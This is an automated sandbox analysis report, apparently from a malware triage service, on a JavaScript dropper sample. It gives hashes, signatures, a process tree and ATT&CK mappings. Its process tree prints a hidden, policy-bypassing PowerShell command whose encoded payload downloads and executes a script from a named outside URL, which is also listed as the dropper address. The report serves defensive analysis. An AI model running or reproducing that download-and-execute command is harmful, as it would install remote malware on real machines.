071e2829b90e92202f1fdd8fcba3d7c8f6bd2fceab7ede345ded4dcebd50e8ab

General

Target
2021APT-28_73170453.js
Size 77KB
Sample210729-mgb65ar2ws
SHA256 e06112a171907f0f55a0b2003f13ae089f4ec892575988ce038307b3f006f643
MD5 caac1603c47dffc764be496782b4aace
SHA1 8732056125789e67025476f9f3c4ee7642cf9c50
SHA512 a941b40125ca3e860562a365b36565b6224a7cee2ba7e7811361c8b7aef5dffbcc3cf6ff10ef78f6bec803585ac839a153166ea02859becc19c58f84ea3021c0
MD5 SHA1 SHA512

Score

10^/10

Malware Config

Extracted

Language

ps1

Deobfuscated

Source

URLs

ps1.dropper
http://smart-integrator.hr/pornhub.php

Signatures

Blocklisted process makes network request 1 IoCs

flow	pid	Process
9	2572	powershell.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082

Program crash 1 IoCs

pid	pid_target	Process	procid_target
3544	2572	WerFault.exe	78

Suspicious behavior: EnumeratesProcesses 18 IoCs

pid	Process
2572	powershell.exe
2572	powershell.exe
2572	powershell.exe
3544	WerFault.exe
3544	WerFault.exe
3544	WerFault.exe
3544	WerFault.exe
3544	WerFault.exe
3544	WerFault.exe
3544	WerFault.exe
3544	WerFault.exe
3544	WerFault.exe
3544	WerFault.exe
3544	WerFault.exe
3544	WerFault.exe
3544	WerFault.exe
3544	WerFault.exe
3544	WerFault.exe

Suspicious use of AdjustPrivilegeToken 2 IoCs

description	pid	Process
Token: SeDebugPrivilege	2572	powershell.exe
Token: SeDebugPrivilege	3544	WerFault.exe

Suspicious use of WriteProcessMemory 4 IoCs

description	pid	Process	procid_target
PID 3724 wrote to memory of 2488	3724	wscript.exe	76
PID 3724 wrote to memory of 2488	3724	wscript.exe	76
PID 2488 wrote to memory of 2572	2488	cmd.exe	78
PID 2488 wrote to memory of 2572	2488	cmd.exe	78

C:\Windows\system32\wscript.exe
wscript.exe C:\Users\Admin\AppData\Local\Temp\2021APT-28_73170453.js
1⤵
- Suspicious use of WriteProcessMemory
PID:3724
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c poWERshEll -nop -w hidden -ep bypass -enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAGMAbABpAGUAbgB0ACkALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcAKAAiAGgAdAB0AHAAOgAvAC8AcwBtAGEAcgB0AC0AaQBuAHQAZQBnAHIAYQB0AG8AcgAuAGgAcgAvAHAAbwByAG4AaAB1AGIALgBwAGgAcAAiACkA
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2488
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    poWERshEll -nop -w hidden -ep bypass -enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAGMAbABpAGUAbgB0ACkALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcAKAAiAGgAdAB0AHAAOgAvAC8AcwBtAGEAcgB0AC0AaQBuAHQAZQBnAHIAYQB0AG8AcgAuAGgAcgAvAHAAbwByAG4AaAB1AGIALgBwAGgAcAAiACkA
    3⤵
    - Blocklisted process makes network request
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:2572
  - - C:\Windows\system32\WerFault.exe
      C:\Windows\system32\WerFault.exe -u -p 2572 -s 2308
      4⤵
      Program crash
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:3544

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

1

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

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Downloads

memory/2572-120-0x0000014F243D0000-0x0000014F243D2000-memory.dmp

Download

memory/2572-123-0x0000014F243D3000-0x0000014F243D5000-memory.dmp

Download

memory/2572-122-0x0000014F3C7E0000-0x0000014F3C7E1000-memory.dmp

Download

memory/2572-128-0x0000014F3C990000-0x0000014F3C991000-memory.dmp

Download

memory/2572-141-0x0000014F243D6000-0x0000014F243D8000-memory.dmp

Download

Analysis

Sharing

General

Malware Config

Extracted

Signatures

Processes

Network

MITRE ATT&CK Enterprise v6

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Downloads